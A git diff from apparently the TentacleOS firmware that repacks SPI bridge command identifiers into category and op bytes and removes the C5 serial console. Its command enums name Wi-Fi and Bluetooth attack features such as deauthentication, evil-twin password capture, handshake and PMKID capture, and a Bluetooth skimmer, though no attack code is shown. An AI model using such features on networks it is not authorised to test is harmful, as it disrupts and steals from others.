9895fa92e..a943c5ce4 100644 --- a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h @@ -40,152 +40,178 @@ extern "C" { */ typedef enum { SPI_TYPE_CMD = 0x01, SPI_TYPE_RESP = 0x02, SPI_TYPE_STREAM = 0x03 } spi_type_t; +/** + * @brief SPI command categories (subsystems). + * + * Carried as the `category` byte of the frame header. The C5 routes a command + * to a dispatcher by this byte alone; the `op` byte selects the operation + * within the category. + */ +typedef enum { + SPI_CAT_SYSTEM = 0x00, + SPI_CAT_WIFI = 0x01, + SPI_CAT_BT = 0x02, + SPI_CAT_LORA = 0x03, + SPI_CAT_MESH = 0x04, // Meshtastic phone bridge + SPI_CAT_MCORE = 0x05, // MeshCore phone bridge + SPI_CAT_SESSION = 0xFF +} spi_cat_t; + +/** Pack a (category, op) pair into a 16-bit command identifier. */ +#define SPI_CMD(cat, op) ((uint16_t)(((uint8_t)(cat) << 8) | (uint8_t)(op))) +/** Extract the category byte from a packed command identifier. */ +#define SPI_CMD_CAT(cmd) ((uint8_t)((cmd) >> 8)) +/** Extract the op byte from a packed command identifier. */ +#define SPI_CMD_OP(cmd) ((uint8_t)((cmd) & 0xFF)) + /** * @brief SPI function/command identifiers. + * + * Each value packs its category (high byte) and op (low byte) via SPI_CMD(). */ typedef enum { - // System (0x01 - 0x0F) - SPI_ID_SYSTEM_PING = 0x01, - SPI_ID_SYSTEM_STATUS = 0x02, - SPI_ID_SYSTEM_REBOOT = 0x03, - SPI_ID_SYSTEM_VERSION = 0x04, - SPI_ID_SYSTEM_DATA = 0x05, - SPI_ID_SYSTEM_STREAM = 0x06, - - // WiFi Basic (0x10 - 0x1F) - SPI_ID_WIFI_SCAN = 0x10, - SPI_ID_WIFI_CONNECT = 0x11, - SPI_ID_WIFI_DISCONNECT = 0x12, - SPI_ID_WIFI_GET_STA_INFO = 0x13, - SPI_ID_WIFI_SET_AP = 0x14, - SPI_ID_WIFI_START = 0x15, - SPI_ID_WIFI_STOP = 0x16, - SPI_ID_WIFI_SAVE_AP_CONFIG = 0x17, - SPI_ID_WIFI_SET_ENABLED = 0x18, - SPI_ID_WIFI_SET_AP_PASSWORD = 0x19, - SPI_ID_WIFI_SET_AP_MAX_CONN = 0x1A, - SPI_ID_WIFI_SET_AP_IP = 0x1B, - SPI_ID_WIFI_PROMISC_START = 0x1C, - SPI_ID_WIFI_PROMISC_STOP = 0x1D, - SPI_ID_WIFI_CH_HOP_START = 0x1E, - SPI_ID_WIFI_CH_HOP_STOP = 0x1F, - - // WiFi Applications & Attacks (0x20 - 0x4F) - SPI_ID_WIFI_APP_SCAN_AP = 0x20, - SPI_ID_WIFI_APP_SCAN_CLIENT = 0x21, - SPI_ID_WIFI_APP_BEACON_SPAM = 0x22, - SPI_ID_WIFI_APP_DEAUTHER = 0x23, - SPI_ID_WIFI_APP_FLOOD = 0x24, - SPI_ID_WIFI_APP_SNIFFER = 0x25, - SPI_ID_WIFI_APP_EVIL_TWIN = 0x26, - SPI_ID_WIFI_APP_DEAUTH_DET = 0x27, - SPI_ID_WIFI_APP_PROBE_MON = 0x28, - SPI_ID_WIFI_APP_SIGNAL_MON = 0x29, - SPI_ID_WIFI_SNIFFER_SET_SNAPLEN = 0x2B, - SPI_ID_WIFI_SNIFFER_SET_VERBOSE = 0x2C, - SPI_ID_WIFI_SNIFFER_SAVE_FLASH = 0x2D, - SPI_ID_WIFI_SNIFFER_SAVE_SD = 0x2E, - SPI_ID_WIFI_SNIFFER_FREE_BUFFER = 0x2F, - SPI_ID_WIFI_SNIFFER_STREAM_SD = 0x30, - SPI_ID_WIFI_SNIFFER_CLEAR_PMKID = 0x31, - SPI_ID_WIFI_SNIFFER_GET_PMKID_BSSID = 0x32, - SPI_ID_WIFI_SNIFFER_CLEAR_HANDSHAKE = 0x33, - SPI_ID_WIFI_SNIFFER_GET_HANDSHAKE_BSSID = 0x34, - SPI_ID_WIFI_DEAUTH_STATUS = 0x35, - SPI_ID_WIFI_DEAUTH_SEND_RAW = 0x36, - SPI_ID_WIFI_ASSOC_REQUEST = 0x37, - SPI_ID_WIFI_DEAUTH_SEND_FRAME = 0x38, - SPI_ID_WIFI_DEAUTH_SEND_BROADCAST = 0x39, - SPI_ID_WIFI_TARGET_SCAN_START = 0x3A, - SPI_ID_WIFI_TARGET_SCAN_STATUS = 0x3B, - SPI_ID_WIFI_TARGET_SAVE_FLASH = 0x3C, - SPI_ID_WIFI_TARGET_SAVE_SD = 0x3D, - SPI_ID_WIFI_TARGET_FREE = 0x3E, - SPI_ID_WIFI_PROBE_SAVE_FLASH = 0x3F, - SPI_ID_WIFI_PROBE_SAVE_SD = 0x40, - SPI_ID_WIFI_EVIL_TWIN_TEMPLATE = 0x41, - SPI_ID_WIFI_EVIL_TWIN_HAS_PASSWORD = 0x42, - SPI_ID_WIFI_EVIL_TWIN_GET_PASSWORD = 0x43, - SPI_ID_WIFI_EVIL_TWIN_RESET_CAPTURE = 0x44, - SPI_ID_WIFI_CLIENT_SAVE_FLASH = 0x45, - SPI_ID_WIFI_CLIENT_SAVE_SD = 0x46, - SPI_ID_WIFI_AP_SAVE_FLASH = 0x47, - SPI_ID_WIFI_AP_SAVE_SD = 0x48, - SPI_ID_WIFI_PORT_SCAN_TARGET_RANGE = 0x49, - SPI_ID_WIFI_PORT_SCAN_TARGET_LIST = 0x4A, - SPI_ID_WIFI_PORT_SCAN_NETWORK = 0x4B, - SPI_ID_WIFI_PORT_SCAN_CIDR = 0x4C, - SPI_ID_WIFI_PORT_SCAN_STOP = 0x4D, - SPI_ID_WIFI_GET_MAC = 0x4E, - SPI_ID_WIFI_GET_IP_INFO = 0x4F, - SPI_ID_WIFI_EVIL_TWIN_TMPL_BEGIN = 0xA0, - SPI_ID_WIFI_EVIL_TWIN_TMPL_CHUNK = 0xA1, - - // Bluetooth Basic (0x50 - 0x5F) - SPI_ID_BT_SCAN = 0x50, - SPI_ID_BT_CONNECT = 0x51, - SPI_ID_BT_DISCONNECT = 0x52, - SPI_ID_BT_GET_INFO = 0x53, - SPI_ID_BT_INIT = 0x54, - SPI_ID_BT_DEINIT = 0x55, - SPI_ID_BT_START = 0x56, - SPI_ID_BT_STOP = 0x57, - SPI_ID_BT_SET_RANDOM_MAC = 0x58, - SPI_ID_BT_START_ADV = 0x59, - SPI_ID_BT_STOP_ADV = 0x5A, - SPI_ID_BT_SET_MAX_POWER = 0x5B, - SPI_ID_BT_TRACKER_START = 0x5C, - SPI_ID_BT_TRACKER_STOP = 0x5D, - SPI_ID_BT_GET_ADDR_TYPE = 0x5E, - SPI_ID_BT_SAVE_ANNOUNCE_CFG = 0x5F, - - // Bluetooth Apps & Attacks (0x60 - 0x7F) - SPI_ID_BT_APP_SCANNER = 0x60, - SPI_ID_BT_APP_SNIFFER = 0x61, - SPI_ID_BT_APP_SPAM = 0x62, - SPI_ID_BT_APP_FLOOD = 0x63, - SPI_ID_BT_APP_SKIMMER = 0x64, - SPI_ID_BT_APP_TRACKER = 0x65, - SPI_ID_BT_APP_GATT_EXP = 0x66, - SPI_ID_BT_SPAM_LIST_LOAD = 0x68, - SPI_ID_BT_SPAM_LIST_BEGIN = 0x69, - SPI_ID_BT_SPAM_LIST_ITEM = 0x6A, - SPI_ID_BT_SPAM_LIST_COMMIT = 0x6B, - SPI_ID_BT_SCREEN_INIT = 0x6C, - SPI_ID_BT_SCREEN_DEINIT = 0x6D, - SPI_ID_BT_SCREEN_IS_ACTIVE = 0x6E, - SPI_ID_BT_SCREEN_SEND_PARTIAL = 0x6F, - SPI_ID_BT_L2CAP_STATUS = 0x70, - SPI_ID_BT_HID_INIT = 0x71, - SPI_ID_BT_HID_DEINIT = 0x72, - SPI_ID_BT_HID_IS_CONNECTED = 0x73, - SPI_ID_BT_HID_SEND_KEY = 0x74, - - // LoRa (0x80 - 0x8F) - SPI_ID_LORA_RX = 0x80, - SPI_ID_LORA_TX = 0x81, - - // Meshtastic phone bridge (0x90 - 0x97) - SPI_ID_MESH_BLE_INIT = 0x90, - SPI_ID_MESH_BLE_STOP = 0x91, - SPI_ID_MESH_WIFI_INIT = 0x92, - SPI_ID_MESH_WIFI_STOP = 0x93, - SPI_ID_MESH_FROMRADIO_PUSH = 0x94, - SPI_ID_MESH_LOG_PUSH = 0x95, - SPI_ID_MESH_STATUS = 0x96, - SPI_ID_MESH_TORADIO_STREAM = 0x97, - - // MeshCore phone bridge (0x98 - 0x9C) - SPI_ID_MCORE_BLE_INIT = 0x98, - SPI_ID_MCORE_BLE_STOP = 0x99, - SPI_ID_MCORE_TX_PUSH = 0x9A, - SPI_ID_MCORE_RX_STREAM = 0x9B, - SPI_ID_MCORE_STATUS = 0x9C, + // System + SPI_ID_SYSTEM_PING = SPI_CMD(SPI_CAT_SYSTEM, 0x01), + SPI_ID_SYSTEM_STATUS = SPI_CMD(SPI_CAT_SYSTEM, 0x02), + SPI_ID_SYSTEM_REBOOT = SPI_CMD(SPI_CAT_SYSTEM, 0x03), + SPI_ID_SYSTEM_VERSION = SPI_CMD(SPI_CAT_SYSTEM, 0x04), + SPI_ID_SYSTEM_DATA = SPI_CMD(SPI_CAT_SYSTEM, 0x05), + SPI_ID_SYSTEM_STREAM = SPI_CMD(SPI_CAT_SYSTEM, 0x06), + + // WiFi Basic + SPI_ID_WIFI_SCAN = SPI_CMD(SPI_CAT_WIFI, 0x10), + SPI_ID_WIFI_CONNECT = SPI_CMD(SPI_CAT_WIFI, 0x11), + SPI_ID_WIFI_DISCONNECT = SPI_CMD(SPI_CAT_WIFI, 0x12), + SPI_ID_WIFI_GET_STA_INFO = SPI_CMD(SPI_CAT_WIFI, 0x13), + SPI_ID_WIFI_SET_AP = SPI_CMD(SPI_CAT_WIFI, 0x14), + SPI_ID_WIFI_START = SPI_CMD(SPI_CAT_WIFI, 0x15), + SPI_ID_WIFI_STOP = SPI_CMD(SPI_CAT_WIFI, 0x16), + SPI_ID_WIFI_SAVE_AP_CONFIG = SPI_CMD(SPI_CAT_WIFI, 0x17), + SPI_ID_WIFI_SET_ENABLED = SPI_CMD(SPI_CAT_WIFI, 0x18), + SPI_ID_WIFI_SET_AP_PASSWORD = SPI_CMD(SPI_CAT_WIFI, 0x19), + SPI_ID_WIFI_SET_AP_MAX_CONN = SPI_CMD(SPI_CAT_WIFI, 0x1A), + SPI_ID_WIFI_SET_AP_IP = SPI_CMD(SPI_CAT_WIFI, 0x1B), + SPI_ID_WIFI_PROMISC_START = SPI_CMD(SPI_CAT_WIFI, 0x1C), + SPI_ID_WIFI_PROMISC_STOP = SPI_CMD(SPI_CAT_WIFI, 0x1D), + SPI_ID_WIFI_CH_HOP_START = SPI_CMD(SPI_CAT_WIFI, 0x1E), + SPI_ID_WIFI_CH_HOP_STOP = SPI_CMD(SPI_CAT_WIFI, 0x1F), + + // WiFi Applications & Attacks + SPI_ID_WIFI_APP_SCAN_AP = SPI_CMD(SPI_CAT_WIFI, 0x20), + SPI_ID_WIFI_APP_SCAN_CLIENT = SPI_CMD(SPI_CAT_WIFI, 0x21), + SPI_ID_WIFI_APP_BEACON_SPAM = SPI_CMD(SPI_CAT_WIFI, 0x22), + SPI_ID_WIFI_APP_DEAUTHER = SPI_CMD(SPI_CAT_WIFI, 0x23), + SPI_ID_WIFI_APP_FLOOD = SPI_CMD(SPI_CAT_WIFI, 0x24), + SPI_ID_WIFI_APP_SNIFFER = SPI_CMD(SPI_CAT_WIFI, 0x25), + SPI_ID_WIFI_APP_EVIL_TWIN = SPI_CMD(SPI_CAT_WIFI, 0x26), + SPI_ID_WIFI_APP_DEAUTH_DET = SPI_CMD(SPI_CAT_WIFI, 0x27), + SPI_ID_WIFI_APP_PROBE_MON = SPI_CMD(SPI_CAT_WIFI, 0x28), + SPI_ID_WIFI_APP_SIGNAL_MON = SPI_CMD(SPI_CAT_WIFI, 0x29), + SPI_ID_WIFI_SNIFFER_SET_SNAPLEN = SPI_CMD(SPI_CAT_WIFI, 0x2B), + SPI_ID_WIFI_SNIFFER_SET_VERBOSE = SPI_CMD(SPI_CAT_WIFI, 0x2C), + SPI_ID_WIFI_SNIFFER_SAVE_FLASH = SPI_CMD(SPI_CAT_WIFI, 0x2D), + SPI_ID_WIFI_SNIFFER_SAVE_SD = SPI_CMD(SPI_CAT_WIFI, 0x2E), + SPI_ID_WIFI_SNIFFER_FREE_BUFFER = SPI_CMD(SPI_CAT_WIFI, 0x2F), + SPI_ID_WIFI_SNIFFER_STREAM_SD = SPI_CMD(SPI_CAT_WIFI, 0x30), + SPI_ID_WIFI_SNIFFER_CLEAR_PMKID = SPI_CMD(SPI_CAT_WIFI, 0x31), + SPI_ID_WIFI_SNIFFER_GET_PMKID_BSSID = SPI_CMD(SPI_CAT_WIFI, 0x32), + SPI_ID_WIFI_SNIFFER_CLEAR_HANDSHAKE = SPI_CMD(SPI_CAT_WIFI, 0x33), + SPI_ID_WIFI_SNIFFER_GET_HANDSHAKE_BSSID = SPI_CMD(SPI_CAT_WIFI, 0x34), + SPI_ID_WIFI_DEAUTH_STATUS = SPI_CMD(SPI_CAT_WIFI, 0x35), + SPI_ID_WIFI_DEAUTH_SEND_RAW = SPI_CMD(SPI_CAT_WIFI, 0x36), + SPI_ID_WIFI_ASSOC_REQUEST = SPI_CMD(SPI_CAT_WIFI, 0x37), + SPI_ID_WIFI_DEAUTH_SEND_FRAME = SPI_CMD(SPI_CAT_WIFI, 0x38), + SPI_ID_WIFI_DEAUTH_SEND_BROADCAST = SPI_CMD(SPI_CAT_WIFI, 0x39), + SPI_ID_WIFI_TARGET_SCAN_START = SPI_CMD(SPI_CAT_WIFI, 0x3A), + SPI_ID_WIFI_TARGET_SCAN_STATUS = SPI_CMD(SPI_CAT_WIFI, 0x3B), + SPI_ID_WIFI_TARGET_SAVE_FLASH = SPI_CMD(SPI_CAT_WIFI, 0x3C), + SPI_ID_WIFI_TARGET_SAVE_SD = SPI_CMD(SPI_CAT_WIFI, 0x3D), + SPI_ID_WIFI_TARGET_FREE = SPI_CMD(SPI_CAT_WIFI, 0x3E), + SPI_ID_WIFI_PROBE_SAVE_FLASH = SPI_CMD(SPI_CAT_WIFI, 0x3F), + SPI_ID_WIFI_PROBE_SAVE_SD = SPI_CMD(SPI_CAT_WIFI, 0x40), + SPI_ID_WIFI_EVIL_TWIN_TEMPLATE = SPI_CMD(SPI_CAT_WIFI, 0x41), + SPI_ID_WIFI_EVIL_TWIN_HAS_PASSWORD = SPI_CMD(SPI_CAT_WIFI, 0x42), + SPI_ID_WIFI_EVIL_TWIN_GET_PASSWORD = SPI_CMD(SPI_CAT_WIFI, 0x43), + SPI_ID_WIFI_EVIL_TWIN_RESET_CAPTURE = SPI_CMD(SPI_CAT_WIFI, 0x44), + SPI_ID_WIFI_CLIENT_SAVE_FLASH = SPI_CMD(SPI_CAT_WIFI, 0x45), + SPI_ID_WIFI_CLIENT_SAVE_SD = SPI_CMD(SPI_CAT_WIFI, 0x46), + SPI_ID_WIFI_AP_SAVE_FLASH = SPI_CMD(SPI_CAT_WIFI, 0x47), + SPI_ID_WIFI_AP_SAVE_SD = SPI_CMD(SPI_CAT_WIFI, 0x48), + SPI_ID_WIFI_PORT_SCAN_TARGET_RANGE = SPI_CMD(SPI_CAT_WIFI, 0x49), + SPI_ID_WIFI_PORT_SCAN_TARGET_LIST = SPI_CMD(SPI_CAT_WIFI, 0x4A), + SPI_ID_WIFI_PORT_SCAN_NETWORK = SPI_CMD(SPI_CAT_WIFI, 0x4B), + SPI_ID_WIFI_PORT_SCAN_CIDR = SPI_CMD(SPI_CAT_WIFI, 0x4C), + SPI_ID_WIFI_PORT_SCAN_STOP = SPI_CMD(SPI_CAT_WIFI, 0x4D), + SPI_ID_WIFI_GET_MAC = SPI_CMD(SPI_CAT_WIFI, 0x4E), + SPI_ID_WIFI_GET_IP_INFO = SPI_CMD(SPI_CAT_WIFI, 0x4F), + SPI_ID_WIFI_EVIL_TWIN_TMPL_BEGIN = SPI_CMD(SPI_CAT_WIFI, 0xA0), + SPI_ID_WIFI_EVIL_TWIN_TMPL_CHUNK = SPI_CMD(SPI_CAT_WIFI, 0xA1), + + // Bluetooth Basic + SPI_ID_BT_SCAN = SPI_CMD(SPI_CAT_BT, 0x50), + SPI_ID_BT_CONNECT = SPI_CMD(SPI_CAT_BT, 0x51), + SPI_ID_BT_DISCONNECT = SPI_CMD(SPI_CAT_BT, 0x52), + SPI_ID_BT_GET_INFO = SPI_CMD(SPI_CAT_BT, 0x53), + SPI_ID_BT_INIT = SPI_CMD(SPI_CAT_BT, 0x54), + SPI_ID_BT_DEINIT = SPI_CMD(SPI_CAT_BT, 0x55), + SPI_ID_BT_START = SPI_CMD(SPI_CAT_BT, 0x56), + SPI_ID_BT_STOP = SPI_CMD(SPI_CAT_BT, 0x57), + SPI_ID_BT_SET_RANDOM_MAC = SPI_CMD(SPI_CAT_BT, 0x58), + SPI_ID_BT_START_ADV = SPI_CMD(SPI_CAT_BT, 0x59), + SPI_ID_BT_STOP_ADV = SPI_CMD(SPI_CAT_BT, 0x5A), + SPI_ID_BT_SET_MAX_POWER = SPI_CMD(SPI_CAT_BT, 0x5B), + SPI_ID_BT_TRACKER_START = SPI_CMD(SPI_CAT_BT, 0x5C), + SPI_ID_BT_TRACKER_STOP = SPI_CMD(SPI_CAT_BT, 0x5D), + SPI_ID_BT_GET_ADDR_TYPE = SPI_CMD(SPI_CAT_BT, 0x5E), + SPI_ID_BT_SAVE_ANNOUNCE_CFG = SPI_CMD(SPI_CAT_BT, 0x5F), + + // Bluetooth Apps & Attacks + SPI_ID_BT_APP_SCANNER = SPI_CMD(SPI_CAT_BT, 0x60), + SPI_ID_BT_APP_SNIFFER = SPI_CMD(SPI_CAT_BT, 0x61), + SPI_ID_BT_APP_SPAM = SPI_CMD(SPI_CAT_BT, 0x62), + SPI_ID_BT_APP_FLOOD = SPI_CMD(SPI_CAT_BT, 0x63), + SPI_ID_BT_APP_SKIMMER = SPI_CMD(SPI_CAT_BT, 0x64), + SPI_ID_BT_APP_TRACKER = SPI_CMD(SPI_CAT_BT, 0x65), + SPI_ID_BT_APP_GATT_EXP = SPI_CMD(SPI_CAT_BT, 0x66), + SPI_ID_BT_SPAM_LIST_LOAD = SPI_CMD(SPI_CAT_BT, 0x68), + SPI_ID_BT_SPAM_LIST_BEGIN = SPI_CMD(SPI_CAT_BT, 0x69), + SPI_ID_BT_SPAM_LIST_ITEM = SPI_CMD(SPI_CAT_BT, 0x6A), + SPI_ID_BT_SPAM_LIST_COMMIT = SPI_CMD(SPI_CAT_BT, 0x6B), + SPI_ID_BT_SCREEN_INIT = SPI_CMD(SPI_CAT_BT, 0x6C), + SPI_ID_BT_SCREEN_DEINIT = SPI_CMD(SPI_CAT_BT, 0x6D), + SPI_ID_BT_SCREEN_IS_ACTIVE = SPI_CMD(SPI_CAT_BT, 0x6E), + SPI_ID_BT_SCREEN_SEND_PARTIAL = SPI_CMD(SPI_CAT_BT, 0x6F), + SPI_ID_BT_L2CAP_STATUS = SPI_CMD(SPI_CAT_BT, 0x70), + SPI_ID_BT_HID_INIT = SPI_CMD(SPI_CAT_BT, 0x71), + SPI_ID_BT_HID_DEINIT = SPI_CMD(SPI_CAT_BT, 0x72), + SPI_ID_BT_HID_IS_CONNECTED = SPI_CMD(SPI_CAT_BT, 0x73), + SPI_ID_BT_HID_SEND_KEY = SPI_CMD(SPI_CAT_BT, 0x74), + + // LoRa + SPI_ID_LORA_RX = SPI_CMD(SPI_CAT_LORA, 0x80), + SPI_ID_LORA_TX = SPI_CMD(SPI_CAT_LORA, 0x81), + + // Meshtastic phone bridge + SPI_ID_MESH_BLE_INIT = SPI_CMD(SPI_CAT_MESH, 0x90), + SPI_ID_MESH_BLE_STOP = SPI_CMD(SPI_CAT_MESH, 0x91), + SPI_ID_MESH_WIFI_INIT = SPI_CMD(SPI_CAT_MESH, 0x92), + SPI_ID_MESH_WIFI_STOP = SPI_CMD(SPI_CAT_MESH, 0x93), + SPI_ID_MESH_FROMRADIO_PUSH = SPI_CMD(SPI_CAT_MESH, 0x94), + SPI_ID_MESH_LOG_PUSH = SPI_CMD(SPI_CAT_MESH, 0x95), + SPI_ID_MESH_STATUS = SPI_CMD(SPI_CAT_MESH, 0x96), + SPI_ID_MESH_TORADIO_STREAM = SPI_CMD(SPI_CAT_MESH, 0x97), + + // MeshCore phone bridge + SPI_ID_MCORE_BLE_INIT = SPI_CMD(SPI_CAT_MCORE, 0x98), + SPI_ID_MCORE_BLE_STOP = SPI_CMD(SPI_CAT_MCORE, 0x99), + SPI_ID_MCORE_TX_PUSH = SPI_CMD(SPI_CAT_MCORE, 0x9A), + SPI_ID_MCORE_RX_STREAM = SPI_CMD(SPI_CAT_MCORE, 0x9B), + SPI_ID_MCORE_STATUS = SPI_CMD(SPI_CAT_MCORE, 0x9C), // Session lifecycle (long-running operations) - SPI_ID_SESSION_HEARTBEAT = 0xF0, - SPI_ID_SESSION_LOST = 0xF1, - SPI_ID_SESSION_STOP = 0xF2 + SPI_ID_SESSION_HEARTBEAT = SPI_CMD(SPI_CAT_SESSION, 0xF0), + SPI_ID_SESSION_LOST = SPI_CMD(SPI_CAT_SESSION, 0xF1), + SPI_ID_SESSION_STOP = SPI_CMD(SPI_CAT_SESSION, 0xF2) } spi_id_t; /** @@ -200,15 +226,27 @@ typedef enum { } spi_status_t; /** - * @brief SPI frame header (4 bytes). + * @brief SPI frame header (5 bytes). */ typedef struct { uint8_t sync; - uint8_t type; // spi_type_t - uint8_t id; // spi_id_t - uint8_t length; // Payload length + uint8_t type; // spi_type_t + uint8_t category; // spi_cat_t + uint8_t op; // operation within the category + uint8_t length; // Payload length } spi_header_t; +/** Read the packed command identifier (spi_id_t) from a header. */ +static inline uint16_t spi_header_cmd(const spi_header_t *h) { + return SPI_CMD(h->category, h->op); +} + +/** Write a packed command identifier (spi_id_t) into a header. */ +static inline void spi_header_set_cmd(spi_header_t *h, uint16_t cmd) { + h->category = SPI_CMD_CAT(cmd); + h->op = SPI_CMD_OP(cmd); +} + // Session protocol — see spi_bridge/README.md "Session Lifecycle" #define SPI_SESSION_INVALID_ID 0u #define SPI_SESSION_WINDOW 64u @@ -244,7 +282,7 @@ typedef struct __attribute__((packed)) { /** Stream emitted by C5 when a session is auto-killed by the watchdog. */ typedef struct __attribute__((packed)) { uint32_t session_id; - uint8_t op_id; // spi_id_t of the lost operation + uint16_t cmd; // spi_id_t of the lost operation } spi_session_lost_t; #define SPI_FRAME_SIZE (sizeof(spi_header_t) + SPI_MAX_PAYLOAD) diff --git a/firmware_p4/components/Service/spi_bridge/spi_bridge.c b/firmware_p4/components/Service/spi_bridge/spi_bridge.c index 70d6e5cf0..4a1c7b287 100644 --- a/firmware_p4/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_p4/components/Service/spi_bridge/spi_bridge.c @@ -94,7 +94,7 @@ void spi_bridge_register_stream_cb(spi_id_t id, spi_stream_cb_t cb) { } } if (free_slot < 0) { - ESP_LOGE(TAG, "No free stream cb slot for id 0x%02X", id); + ESP_LOGE(TAG, "No free stream cb slot for id 0x%04X", id); return; } s_stream_cbs[free_slot].id = id; @@ -155,7 +155,11 @@ esp_err_t spi_bridge_send_command(spi_id_t id, } s_is_command_in_flight = true; - spi_header_t header = {.sync = SPI_SYNC_BYTE, .type = SPI_TYPE_CMD, .id = id, .length = len}; + spi_header_t header = {.sync = SPI_SYNC_BYTE, + .type = SPI_TYPE_CMD, + .category = SPI_CMD_CAT(id), + .op = SPI_CMD_OP(id), + .length = len}; if (len > SPI_MAX_PAYLOAD) { s_is_command_in_flight = false; @@ -180,7 +184,7 @@ esp_err_t spi_bridge_send_command(spi_id_t id, ret = spi_bridge_phy_wait_irq(timeout_ms); if (ret != ESP_OK) { - ESP_LOGW(TAG, "Command 0x%02X timeout", id); + ESP_LOGW(TAG, "Command 0x%04X timeout", id); s_is_command_in_flight = false; xSemaphoreGive(s_spi_mutex); return ret; @@ -211,8 +215,8 @@ esp_err_t spi_bridge_send_command(spi_id_t id, return ESP_ERR_INVALID_RESPONSE; } - if (resp->id != id) { - ESP_LOGW(TAG, "Response ID mismatch (req 0x%02X, resp 0x%02X)", id, resp->id); + if (spi_header_cmd(resp) != id) { + ESP_LOGW(TAG, "Response ID mismatch (req 0x%04X, resp 0x%04X)", id, spi_header_cmd(resp)); } if (resp->length > SPI_MAX_PAYLOAD) { @@ -265,8 +269,11 @@ static bool has_any_stream_cb(void) { } static esp_err_t fetch_stream(spi_header_t *out_header, uint8_t *out_payload, uint8_t *out_len) { - spi_header_t header = { - .sync = SPI_SYNC_BYTE, .type = SPI_TYPE_CMD, .id = SPI_ID_SYSTEM_STREAM, .length = 0}; + spi_header_t header = {.sync = SPI_SYNC_BYTE, + .type = SPI_TYPE_CMD, + .category = SPI_CMD_CAT(SPI_ID_SYSTEM_STREAM), + .op = SPI_CMD_OP(SPI_ID_SYSTEM_STREAM), + .length = 0}; uint8_t tx_buf[SPI_FRAME_SIZE]; uint8_t rx_buf[SPI_FRAME_SIZE]; @@ -339,9 +346,9 @@ static void stream_task(void *arg) { continue; } - spi_stream_cb_t cb = get_stream_cb(header.id); + spi_stream_cb_t cb = get_stream_cb(spi_header_cmd(&header)); if (cb != NULL) { - cb(header.id, payload, len); + cb(spi_header_cmd(&header), payload, len); } vTaskDelay(pdMS_TO_TICKS(SPI_STREAM_YIELD_MS)); } diff --git a/firmware_p4/components/Service/spi_bridge/spi_session.c b/firmware_p4/components/Service/spi_bridge/spi_session.c index 756985919..0f835694c 100644 --- a/firmware_p4/components/Service/spi_bridge/spi_session.c +++ b/firmware_p4/components/Service/spi_bridge/spi_session.c @@ -52,7 +52,7 @@ static void notify_lost_locked(const char *reason) { return; ESP_LOGW(TAG, - "Session 0x%08lx (op 0x%02X) lost: %s", + "Session 0x%08lx (op 0x%04X) lost: %s", (unsigned long)s_state.session_id, s_state.op_id, reason); @@ -187,11 +187,11 @@ uint32_t spi_session_start(spi_id_t op_id, esp_err_t ret = spi_bridge_send_command( op_id, params, params_len, &resp_header, (uint8_t *)&resp, spi_bridge_get_timeout(op_id)); if (ret != ESP_OK) { - ESP_LOGE(TAG, "START op 0x%02X bridge error: %s", op_id, esp_err_to_name(ret)); + ESP_LOGE(TAG, "START op 0x%04X bridge error: %s", op_id, esp_err_to_name(ret)); return SPI_SESSION_INVALID_ID; } if (resp.session_id == SPI_SESSION_INVALID_ID) { - ESP_LOGE(TAG, "START op 0x%02X did not return a session id", op_id); + ESP_LOGE(TAG, "START op 0x%04X did not return a session id", op_id); return SPI_SESSION_INVALID_ID; } @@ -218,7 +218,7 @@ uint32_t spi_session_start(spi_id_t op_id, return SPI_SESSION_INVALID_ID; } - ESP_LOGI(TAG, "Session 0x%08lx started for op 0x%02X", (unsigned long)session_id, op_id); + ESP_LOGI(TAG, "Session 0x%08lx started for op 0x%04X", (unsigned long)session_id, op_id); return session_id; } From 5f2156788d946e4a4322ff4f13218493b31bd433 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 1 Jun 2026 19:15:27 -0300 Subject: [PATCH 017/572] feat(c5): remove serial console / command REPL The C5 exposed an esp_console UART REPL through which commands could be sent to the radio co-processor. Remove it so the C5 only accepts commands over the SPI bridge from the P4. - kernel.c: drop the console_task and its startup - Service/CMakeLists.txt: drop console sources, include dir, and the console/argtable3 REQUIRES - delete the console component (console_service + system/fs/wifi commands) UART logging (CONFIG_ESP_CONSOLE_UART_DEFAULT) is left intact, and the bootloader UART download path used by the P4 to flash the C5 is unaffected. --- firmware_c5/components/Core/kernel.c | 12 +- firmware_c5/components/Service/CMakeLists.txt | 7 - .../components/Service/console/README.md | 103 --- .../Service/console/commands/cmd_fs.c | 216 ------ .../Service/console/commands/cmd_system.c | 134 ---- .../Service/console/commands/cmd_wifi.c | 655 ------------------ .../Service/console/console_service.c | 66 -- .../Service/console/include/console_service.h | 51 -- 8 files changed, 1 insertion(+), 1243 deletions(-) delete mode 100644 firmware_c5/components/Service/console/README.md delete mode 100644 firmware_c5/components/Service/console/commands/cmd_fs.c delete mode 100644 firmware_c5/components/Service/console/commands/cmd_system.c delete mode 100644 firmware_c5/components/Service/console/commands/cmd_wifi.c delete mode 100644 firmware_c5/components/Service/console/console_service.c delete mode 100644 firmware_c5/components/Service/console/include/console_service.h diff --git a/firmware_c5/components/Core/kernel.c b/firmware_c5/components/Core/kernel.c index b2df4a00e..a4f36330d 100644 --- a/firmware_c5/components/Core/kernel.c +++ b/firmware_c5/components/Core/kernel.c @@ -26,7 +26,6 @@ #include "bq25896.h" #include "buttons_gpio.h" -#include "console_service.h" #include "i2c_init.h" #include "led_control.h" #include "pin_def.h" @@ -39,14 +38,7 @@ static const char *TAG = "SAFEGUARD"; -#define CONSOLE_TASK_STACK 4096 -#define CONSOLE_TASK_PRIO 5 -#define BOOT_SETTLE_MS 1500 - -static void console_task(void *pvParameters) { - console_service_init(); - vTaskDelete(NULL); -} +#define BOOT_SETTLE_MS 1500 void kernel_init(void) { esp_err_t ret = nvs_flash_init(); @@ -71,8 +63,6 @@ void kernel_init(void) { wifi_service_init(); - xTaskCreate(console_task, "console_task", CONSOLE_TASK_STACK, NULL, CONSOLE_TASK_PRIO, NULL); - vTaskDelay(pdMS_TO_TICKS(BOOT_SETTLE_MS)); } diff --git a/firmware_c5/components/Service/CMakeLists.txt b/firmware_c5/components/Service/CMakeLists.txt index dcdb9761b..2d08f2ae1 100644 --- a/firmware_c5/components/Service/CMakeLists.txt +++ b/firmware_c5/components/Service/CMakeLists.txt @@ -13,8 +13,6 @@ # You should have received a copy of the GNU General Public License # along with TentacleOS. If not, 